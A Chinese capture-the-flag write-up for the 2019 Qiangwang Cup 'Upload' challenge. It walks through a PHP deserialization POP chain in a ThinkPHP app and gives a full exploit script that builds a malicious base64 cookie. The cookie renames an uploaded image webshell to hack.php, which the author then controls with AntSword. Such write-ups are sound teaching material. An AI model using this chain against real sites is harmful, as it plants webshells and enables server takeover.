代码审计[三] [强网杯 2019]Upload -图片马反序列化重命名
代码审计
[强网杯 2019]Upload
源码下载www.tar.gz
源码一大坨
参考[强网杯2019]upload buuoj - Throokie - 博客园 (cnblogs.com)
这写的很全面
用phpstorm可以看到有两处下断点的地方,属于是提示了。分别是
application\web\controller\Profile.php
application\web\controller\index.php
,可以发现这里存在反序列化操作,接收的参数是base64解码后的cookie值
这里先讲一下thinkphpd的一些特性
在 ThinkPHP 中,URL 通常遵循以下格式:
/模块/控制器/方法
假设默认的模块是 web
,那么访问以下 URL:
/index
相当于请求了:
/web/index/index
即:
- 模块:
web
- 控制器:
Index
- 方法:
index()
路由解析过程
-
当你访问
/index
时,框架会按照 URL 解析规则:
- 解析到控制器是
app\web\controller\Index
。 - 调用该控制器中的
index()
方法。
- 解析到控制器是
因此,访问 /index
会触发 Index
控制器的 index()
方法。
解题
两个提示处看一下,一个是接收cookie的序列化值,一个是register.php中析构函数。
同时发现profile.php中有可用的魔术方法__get()
、 __call()
整个流程是通过反序列化,触发update_img方法,并且绕过其中的部分判断,最终到达下面这段函数,来修改已上传的图片马名字
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
pop链
首先从析构函数出发,触发进Profile()类中
public function __destruct()
{
//$this->registed=0
if(!$this->registed){
// $this->checker=Profile()
$this->checker->index();
}
}
由于Profile->index()
不存在,触发了 __call
方法,$this->{$name}
即$this->index
又刚好触发__get
,但是返回值是except[$name]数值的值,那就需要一个键名为$name键值为upload_img的except数组。这样子 $this->{$this->{$name}}($arguments);
就会成为upload_img($arguments)
$this->{$this->{$name}}($arguments)
:这里是双重的动态调用,首先 $this->{$name}
获取属性的值(假设是一个方法名),然后调用该方法并传入 $arguments
参数。
public function __get($name)
{
//$this->except[index]
return $this->except[$name];
}
public function __call($name, $arguments)
{
//name=index
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
其他问题
pop链子已经构造好了,但是还是需要处理别的来东西来让触发成功执行
public function upload_img(){
//$this->checker=0
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
//ext=1,进入此处进行重命名操作
if($this->ext) {
//filename_tmp=你图片马上传的路径
if(getimagesize($this->filename_tmp)) {
//filename=重命名后的文件名字
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
最终exp
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed =0;
}
class Profile{
public $checker =0 ;
public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";
public $upload_menu;
public $filename="./upload/hack.php";
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
}
$a = new Register();
$a->checker = new Profile();
echo base64_encode(serialize($a));
在home下刷新拦包,修改cookie为反序列化的那串base64,然后疯狂刷新几次,就能看到upload/hack.php了,由于浏览器编码的原因可能你看不到马在哪,蚁剑连接即可
后话
这cookie卡我好久,上传后不知道是不是路由缓存还没更新的原因,一直都显示upload目录404,最终解决办法是a浏览器挂着upload目录,b浏览器执行传cookie操作,这样子才能看到东西